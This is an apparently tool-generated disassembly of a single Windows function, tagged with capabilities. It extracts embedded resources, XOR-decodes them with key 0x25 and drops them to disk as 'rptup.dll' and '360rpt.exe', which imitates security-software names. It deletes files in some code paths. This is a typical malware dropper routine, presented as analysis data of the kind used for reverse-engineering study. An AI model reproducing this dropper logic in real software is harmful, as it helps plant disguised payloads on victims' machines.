Function at 0x405770
Capabilities:
Delete file
Encode data using xor
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x410918
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push ebp
push esi
xor esi, esi
push edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
push ecx
mov dword [esp + 0x2c], esi
mov dword [esp + 0x14], esp
mov eax, esp
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x414554
mov dword [eax], 0xcb
call fcn.004030b0
lea ecx, [esp + 0x20]
call fcn.00405f40
test al, al
mov eax, dword [esp + 0x18]
jne 0x4057d0
cmp eax, esi
jmp 0x405961
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [0x417880]
mov edx, dword [esp + 0x1c]
mov edi, eax
push edx
mov eax, dword [ecx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov eax, dword [0x417928]
cmp eax, esi
jne 0x405817
xor eax, eax
cmp ebx, esi
jbe 0x40580d
mov cl, byte [eax + edi]
xor cl, 0x25
mov byte [eax + edi], cl
inc eax
cmp eax, ebx
jb 0x4057ff
mov dword [0x417928], 1
mov eax, dword [esp + 0x30]
mov ebp, dword [esp + 0x34]
push eax
push str._s_rptup.dll
push ebp
call fcn.00408dcd
add esp, 0xc
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40595b
lea ecx, [esp + 0x10]
push 0
push ecx
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
je 0x405955
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
xor esi, esi
cmp eax, esi
je 0x405888
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
push ecx
mov dword [esp + 0x38], esp
mov eax, esp
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x414554
mov dword [eax], 0xca
call fcn.004030b0
lea ecx, [esp + 0x20]
call fcn.00405f40
test al, al
jne 0x4058c5
push ebp
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x18]
cmp eax, esi
jmp 0x405961
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x1c]
mov edi, eax
mov eax, dword [0x417880]
push ecx
mov eax, dword [eax + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov eax, dword [0x41792c]
cmp eax, esi
jne 0x40590f
xor eax, eax
cmp ebx, esi
jbe 0x405905
mov cl, byte [eax + edi]
xor cl, 0x25
mov byte [eax + edi], cl
inc eax
cmp eax, ebx
jb 0x4058f7
mov dword [0x41792c], 1
mov edx, dword [esp + 0x30]
push edx
push str._s360rpt.exe
push ebp
call fcn.00408dcd
add esp, 0xc
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40595b
lea eax, [esp + 0x10]
push 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
jne 0x40597f
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x40596a
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
xor eax, eax
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x405994
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
mov eax, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0x1c
ret